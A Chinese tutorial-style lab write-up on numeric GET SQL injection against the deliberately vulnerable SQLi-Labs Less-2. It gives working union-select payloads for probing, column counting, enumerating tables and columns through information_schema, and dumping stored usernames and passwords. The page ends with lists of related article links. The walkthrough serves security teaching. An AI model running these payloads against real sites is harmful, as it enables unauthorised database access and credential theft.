本章目的
普及数字型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、burpsuite、浏览器的插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码666
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、

Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码666

实验原理
数字型GET注入,其注入点存在于URL中的GET参数处,如
http://www.testweb.com/user.phpzid=8,而服务器后端实际查询代码原型诸如:
“select...from...where...id=$id...”。
攻击者可以通过构造恶意的GET输入参数,利用union select命令进行注入,暴
露数据库中存储的信息。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-2为入口,利用联合查询(union
select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问机A-SQLi-Labs上的
SQLi-Labs网站Less-2。访间的URL为:

http://【靶机IP]/sqli-labs/Less-2/

(注意大小写)

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面
按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入
过程中用Hackbar插件来调整payload参数!没有的点我参考     浏览器加载插件

在此设置payload并执行

登录后,根据网页提示,先给定一个GET参数,即

http://[靶机IP]/sqli-labs/Less-2/?id=1

此时页面显示id=1的用户名Dump、密码Dump

奇妙的自动翻译:。。。

2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型

http://[靶机IP]/sq1i-1abs/less-2/id=1'

运行后报错!

http://[靶机IP]/sq1i-1abs/less-2/?id=1 and 1=1

运行后正常显示!

http://[机IP]/sq1i-1abs/less-2/?id=1 and 1=2

运行后未正常显示!

由上述结果可以判断,网站存在数字型注入点。
3.判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by)

http://[..机IP]/sqli-1abs/less-2/?id=1 order  by 1 --+

http://[..机IP]/sqli-1abs/less-2/?id=1 order  by 2 --+

 http://[..机IP]/sqli-1abs/less-2/?id=1 order  by 3 --+

正常显示!

 http://[..机IP]/sqli-1abs/less-2/?id=1 order  by 4 --+

报错!

由上述结果可以判断,网站查询的字段数为3。

4.判断网站的回显位置
利用以下payload判断网站的回显位置:

http://ip/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,3%20--+

执行的结果是:2号位和3号位可以回显!

后面的步骤中,我们可以在2号位或3号位设置一些具有特殊功能的函数或命令
来执行SQL注入!
5.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,database () --+

显示结果为security(安全)。

6.获取数据库security的全部表名
使用以下payload获取数据库securiy的全部表名:

http://.略./sqli-labs-master/Less-2/?id=1  and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

7.获取users表的全部字段名
使用以下payload获取users表的全部字段名:
显示结果,users表中有id、username和password三个字段

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,group_concat(column_name)from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

8.获取users表id、username和password字段的全部值。
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我
们可以通过limitM.N的方式逐条显示,如
(1)显示第1组数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws (',',id,username,password) from security.users  limit 0,1--+

显示结果为Dump,Dump

(2)显示第2组数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password)from security.users limit 1,1--+

最后显示结果为Angelina,l-kill-you

(3)显示第3组数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users  limit 2,1 --+

显示结果为Dummy,p@ssword。

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。

本章兄弟篇字符型注入

1-23关通关

SQL注入 - sql数据库操作基础

...

关注我即刻查看其他SQL注入

SOL注入——基于联合查询的数字型GET注入(二)相关推荐

  1. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  2. SQL注入——基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  3. SQL注入--基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  4. 【SQL注入】联合查询(最简单的注入方法)

    目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入  报错查询注入  布尔型注入  延时注入  堆叠查询注入 二.原理: 就是可合并多个查询的结 ...

  5. SOL注入——基干联合查询的POST注入(四)

    本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...

  6. 【less-11】基于SQLI的POST字符型SQL注入

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入 实验目的 实验环境 实验原理 实验步骤 第一步 判断是够存在POST型注入点 ...

  7. SQL注入原理及实践(一)--SQL注入之联合查询

    SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...

  8. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  9. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

最新文章

  1. 我当了二十几年总经理,总结出这10条经验,看懂了你将少走些弯路
  2. qt中label画圆代表指示灯_【Qt编程】基于QWT的曲线绘制及图例显示操作——有样点的实现功能...
  3. java中String类是什么_Java中的String类
  4. 团队项目个人进展——Day08
  5. VisualStudio C++内存泄漏的检测方法(二)
  6. java五子棋判断_JAVA 五子棋 判断输赢的代码实现
  7. 又掐起来了!余承东称小米环幕屏手机无实用价值,卢伟冰回怼...
  8. ~~一般哈希(数据结构)(附模板题AcWing 840 模拟散列表)
  9. 算法:Invert Binary Tree(翻转二叉树)
  10. Spring IoC、应用上下文容器层次分析
  11. 2020年20种最佳Android应用程序模板
  12. COMSOL模拟气流可视化
  13. C语言练习题——if语句
  14. 浙江海洋大学计算机 周斌,浙江海洋大学2018年硕士研究生调剂拟录取名单公示(一)...
  15. Synergy Mac和Win键盘映射
  16. 二十四节气-谷雨文案、海报分享,谷雨润万物,不觉夏已至。
  17. QBitArray 和 QByteArray 互相转换
  18. 无法写入最后一个_影驰擎 GA-E 16TB SSD评测:3.96TB持续稳定写入,你想要的大容量来了...
  19. 高新技术企业认定之材料错误篇!
  20. html选择文件用按钮,html点击button弹出挑选文件,上传,这个怎么实现?

热门文章

  1. python调用rust_在 Rust 代码中编写 Python 是种怎样的体验?
  2. 都是做嵌入式凭什么高薪offer归别人
  3. verilog驱动ADC0809包括仿真测试
  4. python parser count_8 个 Python 实用脚本,早掌握早下班!
  5. android系统应用功能,Android系统应用(12)
  6. springmvc的执行流程_springmvc执行流程
  7. 20220129---CTF刷题---WEB--代码审计
  8. java中负数取整_Java取整,固定保留两位小数,适配负数、金融数字。
  9. python------面向对象介绍
  10. 第 7 章 异常处理结构、代码测试与调试